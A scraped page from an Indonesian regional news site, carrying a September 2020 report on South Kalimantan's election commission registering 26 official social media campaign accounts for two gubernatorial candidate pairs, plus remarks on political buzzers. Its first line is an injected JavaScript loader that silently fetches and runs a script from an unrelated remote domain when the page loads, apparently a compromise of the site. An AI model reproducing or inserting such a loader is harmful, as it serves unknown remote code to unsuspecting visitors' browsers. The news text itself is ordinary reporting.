(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Di tengah pandemi Covid-19, metode kampanye melalui media sosial (medsos) menjadi alternatif bagi pasangan calon (paslon) di Pilkada Kalsel. Bahkan, KPU Provinsi Kalsel telah menerima pendaftaran akun resmi medsos dari dua paslon Pilkada Kalsel sejak Jumat (25/9/2020), atau sehari setelah pengundian nomor urut paslon Pilkada Kalsel.
Menurut Komisioner KPU Provinsi Kalsel Divisi Sosialisasi, Edy Ariansyah, pendaftaran akun resmi medsos dua paslon Pilkada Kalsel ini tidak hanya ditujukan kepada KPU Provinsi Kalsel saja. Namun juga kepada Bawaslu Provinsi Kalsel, Polda Kalsel hingga Kementerian Komunikasi dan Informatika (Kemenkominfo).
“Sudah dilaporkan dan ditebuskan kepada institusi-institusi tersebut. Paling lambat sehari sebelum masa kampanye, dimana mereka mendaftar pada 25 September kemarin. Akun resmi inilah yang digunakan oleh masing-masing paslon tim kampanye, atau partai politik maupun gabungan partai politik pengusung untuk melakukan kampanye,” kata Edy saat ditemui di Kantor KPU Provinsi Kalsel di Banjarmasin, Senin (28/9/2020) sore.
Dijelaskan Edy, pendaftaran akun resmi medsos perlu ditebuskan kepada institusi selain KPU Provinsi Kalsel.
Karena, masing-masing institusi memiliki peran pengawasan konten kampanye dengan menggunakan media sosial.
Dua paslon di Pilkada Kalsel yaitu paslon Sahbirin Noor-Muhidin dan Denny Indrayana-Difriadi Darjat telah mendaftarkan akun resmi medsos masing-masing. Edy mencatat, secara keseluruhan ada 26 akun resmi medsos yang telah didaftarkan ke KPU Provinsi Kalsel.
“Akun resmi yang didaftarkan paslon, untuk paslon nomor urut satu (Sahbirin Noor-Muhidin) itu ada 18 akun resmi medsos yang didaftarkan kepada KPU. (Sedangkan) paslon nomor urut dua (Denny Indrayana-Difriadi) ada 8 akun resmi medsos yang didaftarkan,” jelas Edy.
Dari 26 akun resmi medsos tersebut, Edy menyebutkan platform medsos yang digunakan cukup beragam. Seperti Facebook, Twitter, Instagram hingga Youtube, kendati Edy tidak merincikan jumlah masing-masing akun medsos berdasarkan platform-nya.
“Memang ketentuan-ketentuan itu, untuk paslon Gubernur dan Wakil Gubernur itu maksimal ada 30 akun resmi, untuk setiap aplikasi. Total semuanya, 30 akun untuk semua aplikasi,” imbuh Edy.
Disamping itu, kampanye melalui medsos sendiri telah dimulai sejak Sabtu (26/9/2020) kemarin, hingga 5 Desember 2020 mendatang. Hanya saja, paslon mengiklankan diri di medsos, belum bisa dilaksanakan dalam kurun waktu ini.
“Tapi kalau mereka melakukan kampanye tapi belum disponsori atau berbayar, bukan iklan, sudah bisa. Tetapi nanti bisa mengiklankan diri di medsos yaitu 14 hari sebelum dimulai masa tenang. Tetapi kalau kampanye biasa tanpa berbayar, misalnya melakukan live streaming, itu bisa,” papar mantan Ketua KPU Provinsi Kalsel ini.
Sedangkan konten kampanye untuk menyampaikan visi-misi masing-masing paslon, sudah dapat dilakukan sejak dimulainya masa kampanye. “Sedangkan iklan di media massa, baik cetak maupun elektronik nanti akan difasilitasi oleh KPU Provinsi,” tandas Edy.
Istilah buzzer sudah tidak asing di jagad dunia maya. Orang-orang kini sudah mulai terbiasa dengan adanya fenomena buzzer bahkan kerap kali bisa mengenalinya. Buzzer pun semakin naik daun ketika pemilu 2019 lalu. Buzzer dianggap pembentuk opini publik, menyebarkan sejumlah informasi yang sifatnya menggiring maupun hoaks secara masif sehingga seakan-akan semua terlihat organik.
Selama masa kampanye berlangsung, masing-masing pendukung calon saling melempar isu terkait keberadaan buzzer yang sengaja dibuat untuk menjatuhkan lawan politiknya. Alhasil, keberadaan buzzer akhirnya menjadi sorotan dan memiliki peranan penting pada saat itu. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.